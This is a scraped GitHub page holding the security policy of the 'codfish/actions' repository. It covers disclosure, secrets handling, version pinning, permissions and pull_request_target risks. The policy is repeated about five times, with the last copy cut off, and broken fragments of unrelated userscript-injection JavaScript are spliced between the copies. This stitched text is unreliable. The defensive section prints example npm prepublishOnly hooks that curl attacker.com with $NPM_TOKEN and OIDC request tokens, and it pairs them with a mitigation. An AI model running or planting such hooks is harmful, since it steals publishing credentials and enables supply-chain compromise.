Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
Skip to content

Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
  • Rate limiting applies - excessive commenting may be throttled

Incident Response

In case of a confirmed security vulnerability:

  1. Assessment - Evaluate severity and impact
  2. Mitigation - Develop and test fixes
  3. Disclosure - Coordinate with reporter on disclosure timeline
  4. Release - Deploy security fixes
  5. Communication - Notify users through appropriate channels

Security Contact

Acknowledgments

We appreciate security researchers and users who responsibly disclose vulnerabilities. Contributors who report valid security issues will be acknowledged (with permission) in:

  • Security advisories
  • Release notes
  • This security policy

Thank you for helping keep this project secure! 🔒

There aren't any published security advisories

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
Skip to content

Security: codfish/actions

Security

SECURITY.md

Security Policy

Table of Contents

Supported Versions

This project follows a rolling release model. We provide security updates for:

VersionSupported
main✅ Always supported
Latest release tags✅ Supported
Older releases❌ Not supported

Reporting a Vulnerability

If you discover a security issue, please follow these steps:

🔒 Private Disclosure

Do NOT create a public issue for security vulnerabilities.

Instead, please report security issues privately using one of these methods:

  1. GitHub Security Advisories (preferred)

    • Go to the Security tab
    • Click "Report a vulnerability"
    • Fill out the form with details
  2. Email

📋 What to Include

When reporting a vulnerability, please include:

  • Description of the vulnerability
  • Steps to reproduce the issue
  • Potential impact of the vulnerability
  • Suggested fix (if you have one)
  • Your contact information for follow-up

🕐 Response Timeline

We aim to respond to security reports within:

  • Initial response: 24-48 hours
  • Confirmation/triage: 2-5 business days
  • Resolution: Varies based on complexity

Security Best Practices for Users

When using these GitHub Actions in your workflows:

🔐 Secrets Management

  • Never log secrets in workflows that use these actions
  • Use GitHub Secrets for sensitive information
  • Limit secret scope to only necessary workflows
  • Rotate secrets regularly
# ✅ Good - Using secrets properly
- uses: codfish/actions/npm-pr-version@v3with:
npm-token: ${{ secrets.NPM_TOKEN }}# ❌ Bad - Exposing secrets
- name: Debugrun: echo "Token: ${{ secrets.NPM_TOKEN }}"

🏷️ Action Versioning

  • Pin to specific versions or commit hashes for production workflows
  • Avoid using @main in production (use for testing only)
# ✅ Good - Pinned version
- uses: codfish/actions/setup-node-and-install@v3.2.3# ⚠️ Caution - Latest main (testing only)
- uses: codfish/actions/setup-node-and-install@v3

🔍 Workflow Permissions

  • Use minimal permissions required
  • Specify explicit permissions when possible
  • Avoid using write-all permissions
# ✅ Good - Minimal permissionspermissions:
contents: readissues: writepull-requests: write# ❌ Bad - Excessive permissionspermissions: write-all

🛡️ Input Validation

  • Validate user inputs before using them in actions
  • Sanitize outputs when displaying them
  • Be cautious with dynamic expressions

Security Features

This project implements several security measures:

🔒 Automated Security Scanning

  • Dependabot for dependency updates
  • CodeQL for static analysis
  • Dependency Review for PR security checks
  • Secret scanning with TruffleHog
  • npm audit for vulnerability detection

🛡️ Secure Development Practices

  • Input validation in all actions
  • Error handling without information disclosure
  • No secret logging in any action
  • Least privilege principle in action permissions

🔍 Supply Chain Security

  • Minimal dependencies to reduce attack surface
  • Regular dependency updates via Dependabot
  • Verified action references in workflows

Known Security Considerations

GitHub Actions Environment

  • Actions run in GitHub's infrastructure - we cannot control the runner environment
  • Secrets are available to all steps in a job that has access
  • Workflow logs are visible to users with read access to the repository

npm Publishing (npm-pr-version)

Open Source Projects Using pull_request_target

If you're an open source project using pull_request_target to publish PR packages from external contributors, consider using the secure tarball mode to protect against lifecycle script attacks.

When is this relevant?

  • ✅ You use pull_request_target (not pull_request)
  • ✅ You accept PRs from external contributors
  • ✅ Your workflow has access to publishing credentials (npm-token OR id-token: write for OIDC)

Not relevant if:

  • ❌ You use pull_request event (no secret access from forks)
  • ❌ You only publish from trusted branches

The Risk:

npm automatically executes lifecycle scripts during publishing:

  • prepublishOnly, prepare, prepack, postpack

A malicious PR could add a script that exfiltrates credentials:

With npm-token:

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?token=$NPM_TOKEN"
}
}

With OIDC (even without npm-token):

{
"scripts": {
"prepublishOnly": "curl https://attacker.com?url=$ACTIONS_ID_TOKEN_REQUEST_URL&token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
}
}

⚠️OIDC is just as vulnerable! The OIDC environment variables allow attackers to mint tokens and publish packages.

Recommended Solution:

Use the secure two-step workflow with tarball mode:

on: pull_request_targetjobs:
build:
# Build with untrusted code (no secrets)permissions:
contents: readsteps:
- uses: actions/checkout@v6with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm run build && npm pack
- uses: actions/upload-artifact@v4with:
name: package-tarballpath: '*.tgz'publish:
needs: build# Publish with secrets and --ignore-scriptspermissions:
contents: readid-token: write # For OIDC (or omit if using npm-token)pull-requests: write # For commentingsteps:
- uses: actions/checkout@v6 # Trusted base branch
- uses: actions/download-artifact@v4with:
name: package-tarball
- uses: codfish/actions/npm-pr-version@v3with:
tarball: '*.tgz'

See npm-publish-pr/README.md for full details.

General npm Publishing Considerations

  • NPM tokens have broad permissions - ensure tokens are scoped appropriately
  • Published packages are public by default - review package contents
  • Version immutability - published versions cannot be unpublished

Comment Actions

  • GitHub tokens can comment on behalf of the workflow user
  • Comment content is public - avoid including sensitive information
